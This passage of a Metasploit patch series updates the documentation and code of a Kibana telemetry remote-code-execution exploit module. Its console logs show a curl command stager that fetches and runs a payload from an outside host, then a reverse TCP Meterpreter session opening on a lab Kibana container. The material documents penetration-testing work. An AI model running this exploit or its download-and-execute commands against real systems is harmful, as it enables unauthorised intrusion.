/Hg3DGEu9GqlWD06kh4AzFg [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Creating index [*] Index already exists [*] Sending index map [*] Sending telemetry data with payload -[*] Using URL: http://1.1.1.1:8080/1vtNc3Hi -[*] Generated command stager: ["curl -so /tmp/LAbvDplC http://1.1.1.1:8080/1vtNc3Hi;chmod +x /tmp/LAbvDplC;/tmp/LAbvDplC;rm -f /tmp/LAbvDplC"] -[*] Command Stager progress - 100.00% done (114/114 bytes) [*] Waiting 1800 seconds for shell (kibana restart/cleanup) -[*] Client 172.17.0.3 (curl/7.29.0) requested /1vtNc3Hi +[*] Client 172.17.0.3 requested /Hg3DGEu9GqlWD06kh4AzFg [*] Sending payload to 172.17.0.3 (curl/7.29.0) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 172.17.0.3 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:44668) at 2023-10-02 16:46:35 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:48674) at 2023-10-06 08:32:42 -0400 [*] Removing telemetry data to prevent Kibana locking on restart meterpreter > getuid Server username: kibana meterpreter > sysinfo Computer : 172.17.0.3 -OS : CentOS 7.7.1908 (Linux 6.5.0-kali1-amd64) +OS : CentOS 7.7.1908 (Linux 6.5.0-kali2-amd64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux @@ -88,7 +114,7 @@ Meterpreter : x64/linux ``` [*] Processing kibana_telem.rb for ERB directives. resource (kibana_telem.rb)> use exploit/linux/http/kibana_upgrade_assistant_telemetry_rce -[*] Using configured payload linux/x64/meterpreter/reverse_tcp +[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp resource (kibana_telem.rb)> set rhosts 127.0.0.1 rhosts => 127.0.0.1 resource (kibana_telem.rb)> set rport 9200 @@ -101,37 +127,36 @@ msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set target 1 target => 1 msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > set rport 5601 rport => 5601 -msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > check -[*] 127.0.0.1:5601 - The target appears to be vulnerable. Exploitable Version Detected: 7.6.2 msf6 exploit(linux/http/kibana_upgrade_assistant_telemetry_rce) > exploit +[*] Command to run on remote host: curl -so ./hzeCuLxAxx http://1.1.1.1:8080/Hg3DGEu9GqlWD06kh4AzFg; chmod +x ./hzeCuLxAxx; ./hzeCuLxAxx & +[*] Fetch Handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Creating index [*] Index already exists [*] Sending index map [*] Sending telemetry data with payload -[*] Using URL: http://1.1.1.1:8080/PbT2tbJKQyU -[*] Generated command stager: ["curl -so /tmp/AcwIGAZC http://1.1.1.1:8080/PbT2tbJKQyU;chmod +x /tmp/AcwIGAZC;/tmp/AcwIGAZC;rm -f /tmp/AcwIGAZC"] -[*] Command Stager progress - 100.00% done (117/117 bytes) [*] Waiting 1800 seconds for shell (kibana restart/cleanup) ``` After several minutes, the host was rebooted instead of waiting for the cleanup process to happen. Docker host reboot was done -with the following command: `docker kill kib01; docker start kib01` +with the following command if daemonized: `docker kill kib01; docker start kib01` ``` -[*] Client 172.17.0.3 (curl/7.29.0) requested /PbT2tbJKQyU +[*] Client 172.17.0.3 requested /Hg3DGEu9GqlWD06kh4AzFg [*] Sending payload to 172.17.0.3 (curl/7.29.0) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 172.17.0.3 -[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:53100) at 2023-10-02 16:51:34 -0400 +[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 172.17.0.3:60508) at 2023-10-06 09:48:43 -0400 [-] Cleanup must happen on the Elastic Database for Kibana to start. You need to DELETE /.kibana_1 meterpreter > getuid Server username: kibana meterpreter > sysinfo Computer : 172.17.0.3 -OS : CentOS 7.7.1908 (Linux 6.5.0-kali1-amd64) +OS : CentOS 7.7.1908 (Linux 6.5.0-kali2-amd64) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux diff --git a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb index 34c346b6e3d7..d9a5edfa8347 100644 --- a/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb +++ b/modules/exploits/linux/http/kibana_upgrade_assistant_telemetry_rce.rb @@ -39,7 +39,6 @@ def initialize(info = {}) 'Platform' => [ 'linux' ], 'Type' => :nix_cmd, 'DefaultOptions' => { - # 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'WfsDelay' => 1800 # 30min }, @@ -49,7 +48,6 @@ def initialize(info = {}) ], 'DisclosureDate' => '2020-04-17', 'DefaultTarget' => 0, - # https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], # down until cleanup and reboot 'Reliability' => [], @@ -96,6 +94,7 @@ def elastic_cleanup request = { 'uri' => normalize_uri(target_uri.path, '.kibana*'), 'method' => 'DELETE' + } request['authorization'] = basic_auth(datastore['USERNAME'], datastore['PASSWORD']) if datastore['USERNAME'].present? From fe9afc94c7ea798c79f3a02255b9ba0666b85075 Mon Sep 17 00:00:00 2001 From: jheysel-r7 Date: Fri, 6 Oct 2023 16:45:52 -0400 Subject: [PATCH 5/5] Update documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md --- .../linux/http/kibana_upgrade_assistant_telemetry_rce.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md index 5f7ed8aba987..21de5e96220a 100644 --- a/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md +++ b/documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md @@ -17,8 +17,8 @@ happen allowing Kibana to be successfully restarted on next attempt. A docker version of Kibana and Elastic are required. Both can be run together in a working mode via: ``` -docker run -it --rm --name es01 -e "discovery.type=single-node" -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2 -docker run -it --rm --name kib01 --link es01:elasticsearch -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2 +docker run -d --name es01 -e "discovery.type=single-node" -p 9200:9200 docker.elastic.co/elasticsearch/elasticsearch:7.6.2 +docker run -d --name kib01 --link es01:elasticsearch -p 5601:5601 docker.elastic.co/kibana/kibana:7.6.2 ``` To restart Kibana (easier during exploitation) issue the following command: `docker kill kib01; docker start kib01`